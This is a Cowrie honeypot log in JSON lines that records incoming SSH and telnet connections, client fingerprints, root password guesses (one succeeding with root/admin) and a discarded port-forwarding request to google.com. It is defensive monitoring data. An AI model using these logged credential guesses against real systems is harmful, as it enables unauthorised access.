{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:58.776746Z","src_ip":"103.98.149.87","session":"4e7e3cc500f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:50:59.452125Z","src_ip":"103.98.149.87","session":"4e7e3cc500f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:00.680374Z","src_ip":"103.98.149.87","session":"4e7e3cc500f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54312,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a8fd23a5d8","protocol":"telnet","message":"New connection: 50.6.8.71:54312 (10.17.0.5:23) [session: e3a8fd23a5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:00.752720Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.97","src_port":57016,"dst_ip":"159.203.135.109","dst_port":22,"session":"94429286af76","protocol":"ssh","message":"New connection: 192.42.116.97:57016 (159.203.135.109:22) [session: 94429286af76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:01.832017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:01.967362Z","src_ip":"192.42.116.97","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:02.017115Z","src_ip":"192.42.116.97","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:02.935006Z","src_ip":"192.42.116.97","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:02.939645Z","src_ip":"192.42.116.97","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:03.195802Z","src_ip":"192.42.116.97","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.77172827720642,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:05.290022Z","src_ip":"50.6.8.71","session":"305462ce1690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62894010543823,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:10.073604Z","src_ip":"50.6.8.71","session":"0beed7875717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":45394,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4fdfa19e768","protocol":"ssh","message":"New connection: 103.27.238.120:45394 (159.203.135.109:22) [session: b4fdfa19e768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:11.995207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:11.999698Z","src_ip":"103.27.238.120","session":"b4fdfa19e768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:12.274971Z","src_ip":"103.27.238.120","session":"b4fdfa19e768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:13.099097Z","src_ip":"103.27.238.120","session":"b4fdfa19e768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:14.376990Z","src_ip":"103.27.238.120","session":"b4fdfa19e768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40836,"dst_ip":"10.17.0.5","dst_port":23,"session":"c381c2019ae9","protocol":"telnet","message":"New connection: 50.6.8.71:40836 (10.17.0.5:23) [session: c381c2019ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:15.894444Z"}
{"eventid":"cowrie.session.closed","duration":38.809693574905396,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:18.134801Z","src_ip":"50.6.8.71","session":"503d38c07a68","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"192.42.116.97","src_port":49036,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:49036","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:23.708010Z","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:23.868198Z","src_ip":"192.42.116.97","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xeaM\\x0cp\\xbc\\xa0|\\xc2\\xf5\\x93MA\\x80*\\xf7\\xf0qX\\x94\\xa0x\\xb8\\xaf\\xe2\\xfaD(\\x0f\\x8f\\x85O \\xec\\x87\\xb2\\x0e\\x9c\\xfdZ\\x0f\\xae\\xbf+I 'm\\xbd\\xc4`\\xf0\\xfd\\xde\\x1c\\xe5jt\\xeb;\\xb9>\\xc2\\xb8\\xb1\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x84\\xb1\\x90\\xe3\\x05{\\x08\\xe5\\x95\\xfc^hI\\n\\xad\\xf4\\xf6\\x89\\xf0G\\xef\\xc5\\xf8\\x85\\xff\\xd8\\x900\\xbc\\xb9hZ\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xeaM\\x0cp\\xbc\\xa0|\\xc2\\xf5\\x93MA\\x80*\\xf7\\xf0qX\\x94\\xa0x\\xb8\\xaf\\xe2\\xfaD(\\x0f\\x8f\\x85O \\xec\\x87\\xb2\\x0e\\x9c\\xfdZ\\x0f\\xae\\xbf+I 'm\\xbd\\xc4`\\xf0\\xfd\\xde\\x1c\\xe5jt\\xeb;\\xb9>\\xc2\\xb8\\xb1\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x84\\xb1\\x90\\xe3\\x05{\\x08\\xe5\\x95\\xfc^hI\\n\\xad\\xf4\\xf6\\x89\\xf0G\\xef\\xc5\\xf8\\x85\\xff\\xd8\\x900\\xbc\\xb9hZ\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:23.871325Z","src_ip":"192.42.116.97","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.6","message":"Connection lost after 22.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:24.468117Z","src_ip":"192.42.116.97","session":"94429286af76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40838,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a84852803e3","protocol":"telnet","message":"New connection: 50.6.8.71:40838 (10.17.0.5:23) [session: 7a84852803e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:25.588785Z"}
{"eventid":"cowrie.session.closed","duration":39.65873718261719,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:28.713432Z","src_ip":"50.6.8.71","session":"ea3eee6e30d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07883310317993,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:29.137085Z","src_ip":"50.6.8.71","session":"9c072552e6fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41422,"dst_ip":"10.17.0.5","dst_port":23,"session":"18bf2e629a2a","protocol":"telnet","message":"New connection: 50.6.8.71:41422 (10.17.0.5:23) [session: 18bf2e629a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:37.053441Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41438,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcca2b01cf2c","protocol":"telnet","message":"New connection: 50.6.8.71:41438 (10.17.0.5:23) [session: fcca2b01cf2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:37.436247Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41452,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ad21b262c6c","protocol":"telnet","message":"New connection: 50.6.8.71:41452 (10.17.0.5:23) [session: 9ad21b262c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:37.445035Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40778,"dst_ip":"159.203.135.109","dst_port":22,"session":"33a7fcae5d80","protocol":"ssh","message":"New connection: 103.153.68.219:40778 (159.203.135.109:22) [session: 33a7fcae5d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:37.729281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:37.733144Z","src_ip":"103.153.68.219","session":"33a7fcae5d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:37.982715Z","src_ip":"103.153.68.219","session":"33a7fcae5d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:38.736748Z","src_ip":"103.153.68.219","session":"33a7fcae5d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:39.988722Z","src_ip":"103.153.68.219","session":"33a7fcae5d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":33812,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed502e1fea1","protocol":"ssh","message":"New connection: 103.27.238.68:33812 (159.203.135.109:22) [session: 1ed502e1fea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:51:40.223533Z"}
